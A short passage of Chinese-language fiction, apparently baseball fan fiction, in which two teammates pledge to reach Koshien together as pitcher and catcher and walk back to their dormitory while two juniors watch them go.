“不……这次我们一定能进甲子园的!到时候你可一定要和我一起,在那个位置继续注视我,接住我的球啊。” “嗯!约好了!” 两人对视,皆是一笑。 天赋是世界上最璀璨也最残酷的词语,梦想也一样,只是此刻,梦想的璀璨压倒了天赋的残酷。 两人重新向着青心寮的方向走去。 “你怎么总喜欢用激将法对付我。” “因为你很吃这套嘛。” 路灯下已经没有了两人的身影,话语也随之远去。 半晌,脚步声慢慢响起,另外两个身影逐渐在灯光下站定,遥望着两个前辈的背影。 “甲子园……”